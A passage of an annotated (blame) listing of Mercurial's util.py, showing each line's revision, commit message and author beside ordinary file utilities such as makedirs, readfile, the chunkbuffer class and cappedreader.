da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2503 # try removing directories that might now be empty
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2504 try:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2505 removedirs(os.path.dirname(f))
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2506 except OSError:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2507 pass
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2508
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2509
31546 6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2510 def tryunlink(f):
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2511 """Attempt to remove a file, ignoring ENOENT errors."""
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2512 try:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2513 unlink(f)
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2514 except OSError as e:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2515 if e.errno != errno.ENOENT:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2516 raise
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2517
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2518
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2519 def makedirs(name, mode=None, notindexed=False):
29017 07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2520 """recursive directory creation with parent mode inheritance
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2521
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2522 Newly created directories are marked as "not to be indexed by
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2523 the content indexing service", if ``notindexed`` is specified
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2524 for "write" mode access.
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2525 """
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2526 try:
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2527 makedir(name, notindexed)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2528 except OSError as err:
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2529 if err.errno == errno.EEXIST:
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2530 return
15058 81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2531 if err.errno != errno.ENOENT or not name:
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2532 raise
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2533 parent = os.path.dirname(os.path.abspath(name))
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2534 if parent == name:
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2535 raise
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2536 makedirs(parent, mode, notindexed)
29017 07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2537 try:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2538 makedir(name, notindexed)
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2539 except OSError as err:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2540 # Catch EEXIST to handle races
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2541 if err.errno == errno.EEXIST:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2542 return
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2543 raise
18678 423eee0b0b14 util: make ensuredirs safer against races Bryan O'Sullivan <bryano@fb.com> parents: 18668 diff changeset	2544 if mode is not None:
423eee0b0b14 util: make ensuredirs safer against races Bryan O'Sullivan <bryano@fb.com> parents: 18668 diff changeset	2545 os.chmod(name, mode)
18668 4034b8d551b1 scmutil: create directories in a race-safe way during update Bryan O'Sullivan <bryano@fb.com> parents: 18614 diff changeset	2546
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2547
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2548 def readfile(path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2549 with open(path, b'rb') as fp:
14100 3e9e02a41dfb util: really drop size from readfile Matt Mackall <mpm@selenic.com> parents: 14099 diff changeset	2550 return fp.read()
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2551
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2552
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2553 def writefile(path, text):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2554 with open(path, b'wb') as fp:
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2555 fp.write(text)
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2556
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2557
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2558 def appendfile(path, text):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2559 with open(path, b'ab') as fp:
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2560 fp.write(text)
0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2561
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2562
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2563 class chunkbuffer(object):
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2564 """Allow arbitrary sized chunks of data to be efficiently read from an
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2565 iterator over chunks of arbitrary size."""
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2566
5446 fa836e050c50 chunkbuffer: removed unused method and arg Matt Mackall <mpm@selenic.com> parents: 5420 diff changeset	2567 def __init__(self, in_iter):
32176 5f53c267e362 util: remove doc of long gone 'targetsize' argument Martin von Zweigbergk <martinvonz@google.com> parents: 31952 diff changeset	2568 """in_iter is the iterator that's iterating over the input chunks."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2569
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2570 def splitbig(chunks):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2571 for chunk in chunks:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2572 if len(chunk) > 2 ** 20:
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2573 pos = 0
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2574 while pos < len(chunk):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2575 end = pos + 2 ** 18
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2576 yield chunk[pos:end]
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2577 pos = end
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2578 else:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2579 yield chunk
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2580
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2581 self.iter = splitbig(in_iter)
25113 0ca8410ea345 util: drop alias for collections.deque Martin von Zweigbergk <martinvonz@google.com> parents: 25112 diff changeset	2582 self._queue = collections.deque()
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2583 self._chunkoffset = 0
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2584
21018 c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2585 def read(self, l=None):
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2586 """Read L bytes of data from the iterator of chunks of data.
21018 c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2587 Returns less than L bytes if the iterator runs dry.
c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2588
23139 e53f6b72a0e4 spelling: fixes from proofreading of spell checker issues Mads Kiilerich <madski@unity3d.com> parents: 23097 diff changeset	2589 If size parameter is omitted, read everything"""
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2590 if l is None:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2591 return b''.join(self.iter)
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2592
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2593 left = l
17962 4c29668ca316 util: make chunkbuffer non-quadratic on Windows Matt Mackall <mpm@selenic.com> parents: 17560 diff changeset	2594 buf = []
16873 37e081609828 util: simplify queue management in chunkbuffer Bryan O'Sullivan <bryano@fb.com> parents: 16834 diff changeset	2595 queue = self._queue
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2596 while left > 0:
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2597 # refill the queue
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2598 if not queue:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2599 target = 2 ** 18
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2600 for chunk in self.iter:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2601 queue.append(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2602 target -= len(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2603 if target <= 0:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2604 break
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2605 if not queue:
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2606 break
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2607
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2608 # The easy way to do this would be to queue.popleft(), modify the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2609 # chunk (if necessary), then queue.appendleft(). However, for cases
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2610 # where we read partial chunk content, this incurs 2 dequeue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2611 # mutations and creates a new str for the remaining chunk in the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2612 # queue. Our code below avoids this overhead.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2613
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2614 chunk = queue[0]
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2615 chunkl = len(chunk)
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2616 offset = self._chunkoffset
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2617
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2618 # Use full chunk.
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2619 if offset == 0 and left >= chunkl:
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2620 left -= chunkl
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2621 queue.popleft()
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2622 buf.append(chunk)
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2623 # self._chunkoffset remains at 0.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2624 continue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2625
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2626 chunkremaining = chunkl - offset
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2627
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2628 # Use all of unconsumed part of chunk.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2629 if left >= chunkremaining:
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2630 left -= chunkremaining
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2631 queue.popleft()
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2632 # offset == 0 is enabled by block above, so this won't merely
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2633 # copy via ``chunk[0:]``.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2634 buf.append(chunk[offset:])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2635 self._chunkoffset = 0
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2636
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2637 # Partial chunk needed.
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2638 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2639 buf.append(chunk[offset : offset + left])
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2640 self._chunkoffset += left
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2641 left -= chunkremaining
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2642
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2643 return b''.join(buf)
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2644
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2645
30181 7356e6b1f5b8 util: increase filechunkiter size to 128k Mads Kiilerich <madski@unity3d.com> parents: 30087 diff changeset	2646 def filechunkiter(f, size=131072, limit=None):
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2647 """Create a generator that produces the data in the file size
30181 7356e6b1f5b8 util: increase filechunkiter size to 128k Mads Kiilerich <madski@unity3d.com> parents: 30087 diff changeset	2648 (default 131072) bytes at a time, up to optional limit (default is
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2649 to read all data). Chunks may be less than size bytes if the
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2650 chunk is the last chunk in the file, or the file is a socket or
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2651 some other type of file that sometimes reads less data than is
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2652 requested."""
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2653 assert size >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2654 assert limit is None or limit >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2655 while True:
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2656 if limit is None:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2657 nbytes = size
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2658 else:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2659 nbytes = min(limit, size)
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2660 s = nbytes and f.read(nbytes)
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2661 if not s:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2662 break
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2663 if limit:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2664 limit -= len(s)
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2665 yield s
1320 5f277e73778f Fix up representation of dates in hgweb. Bryan O'Sullivan <bos@serpentine.com> parents: 1312 diff changeset	2666
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2667
36395 01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2668 class cappedreader(object):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2669 """A file object proxy that allows reading up to N bytes.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2670
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2671 Given a source file object, instances of this type allow reading up to
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2672 N bytes from that source file object. Attempts to read past the allowed
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2673 limit are treated as EOF.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2674
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2675 It is assumed that I/O is not performed on the original file object
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2676 in addition to I/O that is performed by this instance. If there is,
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2677 state tracking will get out of sync and unexpected results will ensue.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2678 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2679
36395 01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2680 def __init__(self, fh, limit):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2681 """Allow reading up to <limit> bytes from <fh>."""
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2682 self._fh = fh
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2683 self._left = limit
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2684
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2685 def read(self, n=-1):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2686 if not self._left:
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2687 return b''
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2688
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2689 if n < 0:
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2690 n = self._left
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2691
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2692 data = self._fh.read(min(n, self._left))
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2693 self._left -= len(data)
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2694 assert self._left >= 0
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2695
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2696 return data
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2697
37055 8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2698 def readinto(self, b):
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2699 res = self.read(len(b))
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2700 if res is None:
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2701 return None
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2702
